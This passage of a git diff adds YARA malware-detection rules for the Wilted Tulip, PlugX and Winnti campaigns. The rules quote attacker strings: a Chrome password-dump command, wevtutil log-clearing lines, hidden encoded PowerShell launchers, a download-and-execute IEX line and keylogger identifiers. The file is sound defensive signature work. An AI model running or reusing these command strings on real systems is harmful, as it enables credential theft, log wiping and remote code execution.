+   Reference: http://www.clearskysec.com/tulip
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule WiltedTulip_Tools_back {
+   meta:
+      description = "Detects Chrome password dumper used in Operation Wilted Tulip"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.clearskysec.com/tulip"
+      date = "2017-07-23"
+      modified = "2022-12-21"
+      hash1 = "b7faeaa6163e05ad33b310a8fdc696ccf1660c425fa2a962c3909eada5f2c265"
+      id = "3f57bd66-b269-5f59-ade1-f881b1d7dadd"
+   strings:
+      $x1 = "%s.exe -f \"C:\\Users\\Admin\\Google\\Chrome\\TestProfile\" -o \"c:\\passlist.txt\"" fullword ascii
+      $x2 = "\\ChromePasswordDump\\Release\\FireMaster.pdb" ascii
+      $x3 = "//Dump Chrome Passwords to a Output file \"c:\\passlist.txt\"" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them )
+}
+
+rule WiltedTulip_Tools_clrlg {
+   meta:
+      description = "Detects Windows eventlog cleaner used in Operation Wilted Tulip - file clrlg.bat"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.clearskysec.com/tulip"
+      date = "2017-07-23"
+      hash1 = "b33fd3420bffa92cadbe90497b3036b5816f2157100bf1d9a3b6c946108148bf"
+      id = "6957c97d-2c2d-50ac-8fd5-2f299fc7b5c8"
+   strings:
+      $s1 = "('wevtutil.exe el') DO (call :do_clear" fullword ascii
+      $s2 = "wevtutil.exe cl %1" fullword ascii
+   condition:
+      filesize < 1KB and 1 of them
+}
+
+rule WiltedTulip_powershell {
+   meta:
+      description = "Detects powershell script used in Operation Wilted Tulip"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.clearskysec.com/tulip"
+      date = "2017-07-23"
+      hash1 = "e5ee1f45cbfdb54b02180e158c3c1f080d89bce6a7d1fe99dd0ff09d47a36787"
+      id = "b6246508-a6ff-5a02-a0de-9cde139f0acc"
+   strings:
+      $x1 = "powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+" ascii
+   condition:
+      1 of them
+}
+
+rule WiltedTulip_vminst {
+   meta:
+      description = "Detects malware used in Operation Wilted Tulip"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.clearskysec.com/tulip"
+      date = "2017-07-23"
+      hash1 = "930118fdf1e6fbffff579e65e1810c8d91d4067cbbce798c5401cf05d7b4c911"
+      id = "5d21e515-eb7b-56ab-acc2-f09065769b2d"
+   strings:
+      $x1 = "\\C++\\Trojan\\Target\\" ascii
+
+      $s1 = "%s\\system32\\rundll32.exe" fullword wide
+      $s2 = "$C:\\Windows\\temp\\l.tmp" fullword wide
+      $s3 = "%s\\svchost.exe" fullword wide
+      $s4 = "args[10] is %S and command is %S" fullword ascii
+      $s5 = "LOGON USER FAILD " fullword ascii
+      $s6 = "vminst.tmp" fullword wide
+      $s7 = "operator co_await" fullword ascii
+      $s8 = "?ReflectiveLoader@@YGKPAX@Z" fullword ascii
+      $s9 = "%s -k %s" fullword wide
+      $s10 = "ERROR in %S/%d" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 900KB and (
+         1 of ($x*) or 5 of ($s*)
+      )
+}
+
+rule WiltedTulip_Windows_UM_Task {
+   meta:
+      description = "Detects a Windows scheduled task as used in Operation Wilted Tulip"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.clearskysec.com/tulip"
+      date = "2017-07-23"
+      hash1 = "4c2fc21a4aab7686877ddd35d74a917f6156e48117920d45a3d2f21fb74fedd3"
+      id = "d827584e-8298-56e4-8466-90950d1f286e"
+   strings:
+      $r1 = "<Command>C:\\Windows\\syswow64\\rundll32.exe</Command>" fullword wide
+      $p1 = "<Arguments>\"C:\\Users\\public\\" wide
+      $c1 = "svchost64.swp\",checkUpdate" wide ascii
+      $c2 = "svchost64.swp,checkUpdate" wide ascii
+   condition:
+      ( $r1 and $p1 ) or
+      1 of ($c*)
+}
+
+rule WiltedTulip_WindowsTask {
+   meta:
+      description = "Detects hack tool used in Operation Wilted Tulip - Windows Tasks"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.clearskysec.com/tulip"
+      date = "2017-07-23"
+      hash1 = "c3cbe88b82cd0ea46868fb4f2e8ed226f3419fc6d4d6b5f7561e70f4cd33822c"
+      hash2 = "340cbbffbb7685133fc318fa20e4620ddf15e56c0e65d4cf1b2d606790d4425d"
+      hash3 = "b6f515b3f713b70b808fc6578232901ffdeadeb419c9c4219fbfba417bba9f01"
+      hash4 = "5046e7c28f5f2781ed7a63b0871f4a2b3065b70d62de7254491339e8fe2fa14a"
+      hash5 = "984c7e1f76c21daf214b3f7e131ceb60c14abf1b0f4066eae563e9c184372a34"
+      id = "ad8193f0-e664-50a8-ab05-38027a2e33cd"
+   strings:
+      $x1 = "<Command>C:\\Windows\\svchost.exe</Command>" fullword wide
+      $x2 = "<Arguments>-nop -w hidden -encodedcommand" wide
+      $x3 = "-encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgA"
+   condition:
+      1 of them
+}
+
+rule WiltedTulip_tdtess {
+   meta:
+      description = "Detects malicious service used in Operation Wilted Tulip"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.clearskysec.com/tulip"
+      date = "2017-07-23"
+      hash1 = "3fd28b9d1f26bd0cee16a167184c9f4a22fd829454fd89349f2962548f70dc34"
+      id = "0ecb391b-a4f9-5362-bb65-73801ae497de"
+   strings:
+      $x1 = "d2lubG9naW4k" fullword wide /* base64 encoded string 'winlogin$' */
+      $x2 = "C:\\Users\\admin\\Documents\\visual studio 2015\\Projects\\Export\\TDTESS_ShortOne\\WinService Template\\" ascii
+
+      $s1 = "\\WinService Template\\obj\\x64\\x64\\winlogin" ascii
+      $s2 = "winlogin.exe" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and ( 1 of ($x*) or 2 of them ) )
+}
+
+rule WiltedTulip_SilverlightMSI {
+   meta:
+      description = "Detects powershell tool call Get_AD_Users_Logon_History used in Operation Wilted Tulip"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.clearskysec.com/tulip"
+      date = "2017-07-23"
+      hash1 = "c75906dbc3078ff81092f6a799c31afc79b1dece29db696b2ecf27951a86a1b2"
+      id = "6430d464-b9c7-5f19-b89d-3c70f99af688"
+   strings:
+      $x1 = ".\\Get_AD_Users_Logon_History.ps1 -MaxEvent" fullword ascii
+      $x2 = "if ((Resolve-dnsname $_.\"IP Address\" -Type PTR -TcpOnly -DnsOnly -ErrorAction \"SilentlyContinue\").Type -eq \"PTR\")" fullword ascii
+      $x3 = "$Client_Name = (Resolve-dnsname $_.\"IP Address\" -Type PTR -TcpOnly -DnsOnly).NameHost  " fullword ascii
+      $x4 = "########## Find the Computer account in AD and if not found, throw an exception ###########" fullword ascii
+   condition:
+      ( filesize < 20KB and 1 of them )
+}
+
+rule WiltedTulip_matryoshka_Injector {
+   meta:
+      description = "Detects hack tool used in Operation Wilted Tulip"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.clearskysec.com/tulip"
+      date = "2017-07-23"
+      hash1 = "c41e97b3b22a3f0264f10af2e71e3db44e53c6633d0d690ac4d2f8f5005708ed"
+      hash2 = "b93b5d6716a4f8eee450d9f374d0294d1800784bc99c6934246570e4baffe509"
+      id = "e4cf2a31-33c8-5db1-84ca-f63b65a0a0a3"
+   strings:
+      $s1 = "Injector.dll" fullword ascii
+      $s2 = "ReflectiveLoader" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and all of them ) or
+      (
+        pe.exports("__dec") and
+        pe.exports("_check") and
+        pe.exports("_dec") and
+        pe.exports("start") and
+        pe.exports("test")
+      )
+}
+
+rule WiltedTulip_Zpp {
+   meta:
+      description = "Detects hack tool used in Operation Wilted Tulip"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.clearskysec.com/tulip"
+      date = "2017-07-23"
+      modified = "2022-12-21"
+      hash1 = "10ec585dc1304436821a11e35473c0710e844ba18727b302c6bd7f8ebac574bb"
+      hash2 = "7d046a3ed15035ea197235980a72d133863c372cc27545af652e1b2389c23918"
+      hash3 = "6d6816e0b9c24e904bc7c5fea5951d53465c478cc159ab900d975baf8a0921cf"
+      id = "7d833cb2-485e-5a26-be2f-aaebde7fdef2"
+   strings:
+      $x1 = "[ERROR] Error Main -i -s -d -gt -lt -mb" fullword wide
+      $x2 = "[ERROR] Error Main -i(with.) -s -d -gt -lt -mb -o -e" fullword wide
+
+      $s1 = "LT Time invalid" fullword wide
+      $s2 = "doCompressInNetWorkDirectory" fullword ascii
+      $s3 = "files remaining ,total file save = " fullword wide
+      $s4 = "$ec996350-79a4-477b-87ae-2d5b9dbe20fd" fullword ascii
+      $s5 = "Destinition Directory Not Found" fullword wide
+      $s6 = "\\obj\\Release\\ZPP.pdb" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 30KB and ( 1 of ($x*) or 3 of them )
+}
+
+rule WiltedTulip_Netsrv_netsrvs {
+   meta:
+      description = "Detects sample from Operation Wilted Tulip"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.clearskysec.com/tulip"
+      date = "2017-07-23"
+      hash1 = "a062cb4364125427b54375d51e9e9afb0baeb09b05a600937f70c9d6d365f4e5"
+      hash2 = "afa563221aac89f96c383f9f9f4ef81d82c69419f124a80b7f4a8c437d83ce77"
+      hash3 = "acf24620e544f79e55fd8ae6022e040257b60b33cf474c37f2877c39fbf2308a"
+      hash4 = "bff115d5fb4fd8a395d158fb18175d1d183c8869d54624c706ee48a1180b2361"
+      hash5 = "07ab795eeb16421a50c36257e6e703188a0fef9ed87647e588d0cd2fcf56fe43"
+      id = "4b58bb08-88da-535c-8ce5-e7113e5b7045"
+   strings:
+      $s1 = "Process %d Created" fullword ascii
+      $s2 = "%s\\system32\\rundll32.exe" fullword wide
+      $s3 = "%s\\SysWOW64\\rundll32.exe" fullword wide
+
+      $c1 = "slbhttps" fullword ascii
+      $c2 = "/slbhttps" fullword wide
+      $c3 = "/slbdnsk1" fullword wide
+      $c4 = "netsrv" fullword wide
+      $c5 = "/slbhttps" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and ( all of ($s*) and 1 of ($c*) ) )
+}
+
+rule WiltedTulip_ReflectiveLoader {
+   meta:
+      description = "Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.clearskysec.com/tulip"
+      date = "2017-07-23"
+      hash1 = "1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904"
+      hash2 = "1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a"
+      hash3 = "a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f"
+      hash4 = "cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0"
+      hash5 = "eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89"
+      id = "0c7dfb44-8acb-5f36-9683-745560f1f795"
+   strings:
+      $x1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
+      $x2 = "%d is an x86 process (can't inject x64 content)" fullword ascii
+      $x3 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
+      $x4 = "Failed to impersonate token from %d (%u)" fullword ascii
+      $x5 = "Failed to impersonate logged on user %d (%u)" fullword ascii
+      $x6 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and 1 of them ) or
+      ( 2 of them ) or
+      pe.exports("_ReflectiveLoader@4")
+}
+
+rule WiltedTulip_Matryoshka_RAT {
+   meta:
+      description = "Detects Matryoshka RAT used in Operation Wilted Tulip"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.clearskysec.com/tulip"
+      date = "2017-07-23"
+      hash1 = "6f208473df0d31987a4999eeea04d24b069fdb6a8245150aa91dfdc063cd64ab"
+      hash2 = "6cc1f4ecd28b833c978c8e21a20a002459b4a6c21a4fbaad637111aa9d5b1a32"
+      id = "e851e212-bb71-55c9-9bc1-0041bb04bef5"
+   strings:
+      $s1 = "%S:\\Users\\public" fullword wide
+      $s2 = "ntuser.dat.swp" fullword wide
+      $s3 = "Job Save / Load Config" fullword wide
+      $s4 = ".?AVPSCL_CLASS_JOB_SAVE_CONFIG@@" fullword ascii
+      $s5 = "winupdate64.com" fullword ascii
+      $s6 = "Job Save KeyLogger" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and 3 of them )
+}
diff --git a/yara-Neo23x0/apt_win_plugx.yar b/yara-Neo23x0/apt_win_plugx.yar
new file mode 100644
index 0000000..630f398
--- /dev/null
+++ b/yara-Neo23x0/apt_win_plugx.yar
@@ -0,0 +1,62 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-08
+	Identifier: PlugX Juni 2016
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PlugX_J16_Gen {
+	meta:
+		description = "Detects PlugX Malware samples from June 2016"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "VT Research"
+		date = "2016-06-08"
+		id = "13ef1e80-7090-5a1e-bca7-8d3de0dc2247"
+	strings:
+		$x1 = "%WINDIR%\\SYSTEM32\\SERVICES.EXE" fullword wide
+		$x2 = "\\\\.\\PIPE\\RUN_AS_USER(%d)" fullword wide
+		$x3 = "LdrLoadShellcode" fullword ascii
+		$x4 = "Protocol:[%4s], Host: [%s:%d], Proxy: [%d:%s:%d:%s:%s]" fullword ascii
+
+		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\User Agent\\Post Platform" fullword wide
+		$s2 = "%s\\msiexec.exe %d %d" fullword wide
+		$s3 = "l%s\\sysprep\\CRYPTBASE.DLL" fullword wide
+		$s4 = "%s\\msiexec.exe UAC" fullword wide
+		$s5 = "CRYPTBASE.DLL" fullword wide
+		$s6 = "%ALLUSERSPROFILE%\\SxS" fullword wide
+		$s7 = "%s\\sysprep\\sysprep.exe" fullword wide
+		$s8 = "\\\\.\\pipe\\a%d" fullword wide
+		$s9 = "\\\\.\\pipe\\b%d" fullword wide
+		$s10 = "EName:%s,EAddr:0x%p,ECode:0x%p,EAX:%p,EBX:%p,ECX:%p,EDX:%p,ESI:%p,EDI:%p,EBP:%p,ESP:%p,EIP:%p" fullword ascii
+		$s11 = "Mozilla/4.0 (compatible; MSIE " fullword wide
+		$s12 = "; Windows NT %d.%d" fullword wide
+		$s13 = "SOFTWARE\\Microsoft\\Internet Explorer\\Version Vector" fullword wide
+		$s14 = "\\bug.log" wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 600KB and ( 1 of ($x*) or 4 of ($s*) ) ) or ( 8 of them )
+}
+
+rule PlugX_J16_Gen2 {
+	meta:
+		description = "Detects PlugX Malware Samples from June 2016"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "VT Research"
+		date = "2016-06-08"
+		id = "28e9cbb9-cd60-555d-b033-4e2bf293adf2"
+	strings:
+		$s1 = "XPlugKeyLogger.cpp" fullword ascii
+		$s2 = "XPlugProcess.cpp" fullword ascii
+		$s4 = "XPlgLoader.cpp" fullword ascii
+		$s5 = "XPlugPortMap.cpp" fullword ascii
+		$s8 = "XPlugShell.cpp" fullword ascii
+		$s11 = "file: %s, line: %d, error: [%d]%s" fullword ascii
+		$s12 = "XInstall.cpp" fullword ascii
+		$s13 = "XPlugTelnet.cpp" fullword ascii
+		$s14 = "XInstallUAC.cpp" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 600KB and ( 2 of ($s*) ) ) or ( 5 of them )
+}
diff --git a/yara-Neo23x0/apt_winnti.yar b/yara-Neo23x0/apt_winnti.yar
new file mode 100644
index 0000000..25cc484
--- /dev/null
+++ b/yara-Neo23x0/apt_winnti.yar
@@ -0,0 +1,370 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-10-10
+	Identifier: Winnti Malware
+*/
+import "pe"
+
+rule Winnti_signing_cert {
+	meta:
+		description = "Detects a signing certificate used by the Winnti APT group"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/analysis/publications/72275/i-am-hdroot-part-1/"
+		date = "2015-10-10"
+		score = 75
+		hash1 = "a9a8dc4ae77b1282f0c8bdebd2643458fc1ceb3145db4e30120dd81676ff9b61"
+		hash2 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
+		id = "0cf185eb-fb8d-5e1f-9089-4f36eb4798de"
+	strings:
+		$s1 = "Guangzhou YuanLuo Technology Co." ascii
+		$s2 = "Guangzhou YuanLuo Technology Co.,Ltd" ascii
+		$s3 = "$Asahi Kasei Microdevices Corporation0" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and 1 of them
+}
+
+rule Winnti_malware_Nsiproxy {
+	meta:
+		description = "Detects a Winnti rootkit"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015-10-10"
+		score = 75
+		hash1 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
+		hash2 = "cf1e006694b33f27d7c748bab35d0b0031a22d193622d47409b6725b395bffb0"
+		hash3 = "326e2cabddb641777d489a9e7a39d52c0dc2dcb1fde1762554ea162792056b6e"
+		hash4 = "aff7c7478fe33c57954b6fec2095efe8f9edf5cdb48a680de9439ba62a77945f"
+		hash5 = "ba7ccd027fd2c826bbe8f2145d5131eff906150bd98fe25a10fbee2c984df1b8"
+		id = "9b14541c-6077-5f3b-8f73-ff3d283bf209"
+	strings:
+		$x1 = "\\Driver\\nsiproxy" wide
+
+		$a1 = "\\Device\\StreamPortal" wide
+		$a2 = "\\Device\\PNTFILTER" wide
+
+		$s1 = "Cookie: SN=" fullword ascii
+		$s2 = "\\BaseNamedObjects\\_transmition_synchronization_" wide
+		$s3 = "Winqual.sys" fullword wide
+		$s4 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}" wide
+		$s5 = "http://www.wasabii.com.tw 0" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and $x1 and 1 of ($a*) and 2 of ($s*)
+}
+
+rule Winnti_malware_UpdateDLL {
+	meta:
+		description = "Detects a Winnti malware - Update.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "VTI research"
+		date = "2015-10-10"
+		score = 75
+		hash1 = "1b449121300b0188ff9f6a8c399fb818d0cf53fd36cf012e6908a2665a27f016"
+		hash2 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
+		hash3 = "6cdb65dbfb2c236b6d149fd9836cb484d0608ea082cf5bd88edde31ad11a0d58"
+		hash4 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
+		id = "c6896191-d856-55f2-a47f-621a4f10d0c7"
+	strings:
+		$c1 = "'Wymajtec$Tima Stempijg Sarviges GA -$G2" fullword ascii
+		$c2 = "AHDNEAFE1.sys" fullword ascii
+		$c3 = "SOTEFEHJ3.sys" fullword ascii
+		$c4 = "MainSYS64.sys" fullword ascii
+
+		$s1 = "\\Registry\\User\\%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" wide
+		$s2 = "Update.dll" fullword ascii
+		$s3 = "\\\\.\\pipe\\usbpcex%d" fullword wide
+		$s4 = "\\\\.\\pipe\\usbpcg%d" fullword wide
+		$s5 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WMI" wide
+		$s6 = "\\??\\pipe\\usbpcg%d" fullword wide
+		$s7 = "\\??\\pipe\\usbpcex%d" fullword wide
+		$s8 = "HOST: %s" fullword ascii
+		$s9 = "$$$--Hello" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and
+		(
+			( 1 of ($c*) and 3 of ($s*) ) or all of ($s*)
+		)
+}
+rule Winnti_malware_FWPK {
+   meta:
+      description = "Detects a Winnti malware - FWPKCLNT.SYS"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "VTI research"
+      date = "2015-10-10"
+      modified = "2023-01-06"
+      score = 75
+      hash1 = "1098518786c84b0d31f215122275582bdcd1666653ebc25d50a142b4f5dabf2c"
+      hash2 = "9a684ffad0e1c6a22db1bef2399f839d8eff53d7024fb014b9a5f714d11febd7"
+      hash3 = "a836397817071c35e24e94b2be3c2fa4ffa2eb1675d3db3b4456122ff4a71368"
+      id = "591ad72d-b9d4-5cd9-9103-37e001026610"
+   strings:
+      $s0 = "\\Registry\\Machine\\System\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\" wide
+      $s1 = "%x:%d->%x:%d, Flag %s%s%s%s%s, seq %u, ackseq %u, datalen %u" fullword ascii
+      $s2 = "FWPKCLNT.SYS" fullword ascii
+      $s3 = "Port Layer" fullword wide
+      $s4 = "%x->%x, icmp type %d, code %d" fullword ascii
+      $s5 = "\\BaseNamedObjects\\{93144EB0-8E3E-4591-B307-8EEBFE7DB28E}" wide
+      $s6 = "\\Ndi\\Interfaces" wide
+      $s7 = "\\Device\\{93144EB0-8E3E-4591-B307-8EEBFE7DB28F}" wide
+      $s8 = "Bad packet" fullword ascii
+      $s9 = "\\BaseNamedObjects\\EKV0000000000" wide
+      $s10 = "%x->%x" fullword ascii
+      $s11 = "IPInjectPkt" fullword ascii /* Goodware String - occured 6 times */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 642KB and all of them
+}
+
+rule Winnti_malware_StreamPortal_Gen {
+	meta:
+		description = "Detects a Winnti malware - Streamportal"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "VTI research"
+		date = "2015-10-10"
+		score = 75
+		hash1 = "326e2cabddb641777d489a9e7a39d52c0dc2dcb1fde1762554ea162792056b6e"
+		hash2 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
+		hash3 = "aff7c7478fe33c57954b6fec2095efe8f9edf5cdb48a680de9439ba62a77945f"
+		id = "f9d31d6b-a6f7-5359-b741-960b678e0b9c"
+	strings:
+		$s0 = "Proxies destination address/port for TCP" fullword wide
+		$s3 = "\\Device\\StreamPortal" wide
+		$s4 = "Transport-Data Proxy Sub-Layer" fullword wide
+		$s5 = "Cookie: SN=" fullword ascii
+		$s6 = "\\BaseNamedObjects\\_transmition_synchronization_" wide
+		$s17 = "NTOSKRNL.EXE" fullword wide /* Goodware String - occured 4 times */
+		$s19 = "FwpsReferenceNetBufferList0" fullword ascii /* Goodware String - occured 5 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 275KB and all of them
+}
+
+rule WINNTI_KingSoft_Moz_Confustion {
+   meta:
+      description = "Detects Barium sample with Copyright confusion"
+      author = "Markus Neis"
+      reference = "https://www.virustotal.com/en/file/070ee4a40852b26ec0cfd79e32176287a6b9d2b15e377281d8414550a83f6496/analysis/"
+      date = "2018-04-13"
+      hash1 = "070ee4a40852b26ec0cfd79e32176287a6b9d2b15e377281d8414550a83f6496"
+      id = "0c45c1ff-6734-504f-91d1-cf5d6744252f"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and (
+         pe.imphash() == "7f01b23ccfd1017249c36bc1618d6892" or
+         (
+            pe.version_info["LegalCopyright"] contains "Mozilla Corporation"
+            and pe.version_info["ProductName"] contains "Kingsoft"
+         )
+      )
+}
+rule APT_Winnti_MAL_Dec19_1 {
+   meta:
+      description = "Detects Winnti malware"
+      author = "Unknown"
+      reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
+      date = "2019-12-06"
+      score = 75
+      id = "322e9362-bfb6-55e3-9a93-d54246311d11"
+   strings:
+      $e1 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411015}" ascii nocase
+      $e2 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411014}" ascii nocase
+      $e3 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411016}" ascii nocase
+      $e4 = "\\BaseNamedObjects\\{B2B87CCA-66BC-4C24-89B2-C23C9EAC2A66}" wide
+      $e5 = "BFE_Notify_Event_{7D00FA3C-FBDC-4A8D-AEEB-3F55A4890D2A}" nocase
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and (any of ($e*))
+}
+
+rule APT_Winnti_MAL_Dec19_2 {
+   meta:
+      description = "Detects Winnti malware"
+      author = "Unknown"
+      reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
+      date = "2019-12-06"
+      score = 75
+      id = "77f2cb7d-90a6-5654-9d2e-6b525cd910a2"
+   strings:
+      $a1 = "IPSecMiniPort" wide fullword
+      $a2 = "ndis6fw" wide fullword
+      $a3 = "TCPIP" wide fullword
+      $a4 = "NDIS.SYS" ascii fullword
+      $a5 = "ntoskrnl.exe" ascii fullword
+      $a6 = "\\BaseNamedObjects\\{B2B87CCA-66BC-4C24-89B2-C23C9EAC2A66}" wide
+      $a7 = "\\Device\\Null" wide
+      $a8 = "\\Device" wide
+      $a9 = "\\Driver" wide
+      $b1 = { 66 81 7? ?? 70 17 }
+      $b2 = { 81 7? ?? 07 E0 15 00 }
+      $b3 = { 8B 46 18 3D 03 60 15 00 }
+   condition:
+      (6 of ($a*)) and (2 of ($b*))
+}
+
+rule APT_Winnti_MAL_Dec19_3 {
+   meta:
+      description = "Detects Winnti malware"
+      author = "Unknown"
+      reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
+      date = "2019-12-06"
+      score = 75
+      id = "2e001c91-0794-5940-ad8c-8e58a01e100c"
+   strings:
+      $b1 = { 0F B7 ?? 16 [0-1] (81 E? | 25) 00 20 [0-2] [8] 8B ?? 50 41 B9 40 00 00 00 41 B8 00 10 00 00 }
+      $b2 = { 8B 40 28 [5-8] 48 03 C8 48 8B C1 [5-8] 48 89 41 28 }
+      $b3 = { 48 6B ?? 28 [5-8] 8B ?? ?? 10 [5-8] 48 6B ?? 28 [5-8] 8B ?? ?? 14 }
+      $b4 = { 83 B? 90 00 00 00 00 0F 84 [9-12] 83 B? 94 00 00 00 00 0F 84 }
+      $b5 = { (45 | 4D) (31 | 33) C0 BA 01 00 00 00 [10-16] FF 5? 28 [0-1] (84 | 85) C0 }
+   condition:
+      (4 of ($b*))
+}
+
+rule APT_Winnti_MAL_Dec19_4 {
+   meta:
+      description = "Detects Winnti malware"
+      author = "Unknown"
+      reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
+      date = "2019-12-06"
+      score = 75
+      id = "1f7ac215-d049-5b97-9797-9589a70cbf2b"
+   strings:
+      $b1 = { 4C 8D 41 24 33 D2 B9 03 00 1F 00 FF 9? F8 00 00 00 48 85 C0 74 }
+      $b2 = { 4C 8B 4? 08 BA 01 00 00 00 49 8B C? FF D0 85 C0 [2-6] C7 4? 1C 01 00 00 00 B8 01 00 00 00 }
+      $b3 = { 8B 4B E4 8B 53 EC 41 B8 00 40 00 00 4? 0B C? FF 9? B8 00 00 00 EB }
+   condition:
+      (2 of ($b*))
+}
+
+rule APT_Winnti_MAL_Dec19_5 {
+   meta:
+      description = "Detects Winnti malware"
+      author = "Unknown"
+      reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
+      date = "2019-12-06"
